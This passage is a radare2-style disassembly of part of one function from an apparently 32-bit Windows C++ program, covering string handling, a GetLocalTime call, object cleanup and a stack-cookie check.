jne 0x40d2f7
cmp dword [ebp - 0x180], 0
mov eax, 0x5c402c
cmovne eax, dword [ebp - 0x188]
mov ecx, eax
call fcn.004128c0
lea ecx, [ebp - 0x304]
call fcn.0040a240
mov ebx, eax
mov byte [ebp - 4], 0x41
cmp dword [0x5f2bbc], 0
jne 0x40d32d
mov dword [0x5f2bbc], 1
call edi
push eax
call fcn.00567909
add esp, 4
call fcn.005678e8
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x40d33e
dec eax
or eax, 0xfffffff8
inc eax
lea edx, [eax + 5]
lea ecx, [ebp - 0x330]
call fcn.0040b2f0
mov byte [ebp - 4], 0x42
lea edx, [ebp - 0x1a4]
push eax
lea ecx, [ebp - 0x35c]
call fcn.00415b70
add esp, 4
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x244]
push eax
call fcn.00412e50
mov esi, eax
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x1c]
mov edx, esi
push ecx
lea ecx, [ebp - 0x1c0]
call fcn.0040d550
mov edi, eax
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x388]
call fcn.00409a60
mov esi, eax
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x14c]
call fcn.0040a240
lea edx, [ebp - 0x14c]
mov dword [ebp - 0x24], 0x20
xor ecx, ecx
call fcn.00412520
push esi
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x3b4]
call fcn.00415b70
mov byte [ebp - 4], 0x48
mov edx, eax
push 0x5c70f4
lea ecx, [ebp - 0x280]
call fcn.00415d20
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x49
mov ecx, edi
push ebx
call fcn.00413a20
push eax
mov edx, esi
lea ecx, [ebp - 0x2ac]
call fcn.00415b70
mov byte [ebp - 4], 0x4a
mov edx, eax
push str.__365
lea ecx, [ebp - 0x2d8]
call fcn.00415d20
add esp, 8
mov byte [ebp - 4], 0x4b
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40d445
cmp dword [eax + 0x24], ecx
mov ecx, 0x5c402c
je 0x40d445
mov ecx, dword [eax + 0x1c]
push ecx
call fcn.00412aa0
add esp, 4
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x2d8]
call fcn.00409ef0
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x2ac]
call fcn.00409ef0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x280]
call fcn.00409ef0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x3b4]
call fcn.00409ef0
mov eax, 0x20
mov dword [ebp - 0x24], eax
and eax, 0xffffffdf
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x14c]
call fcn.00409ef0
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x388]
call fcn.00409ef0
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x1c0]
call fcn.00407570
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x244]
call fcn.00407570
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x35c]
call fcn.00409ef0
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x330]
call fcn.00409ef0
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x304]
call fcn.00409ef0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1a4]
call fcn.00409ef0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x178]
call fcn.00409ef0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00561614
mov esp, ebp
pop ebp
ret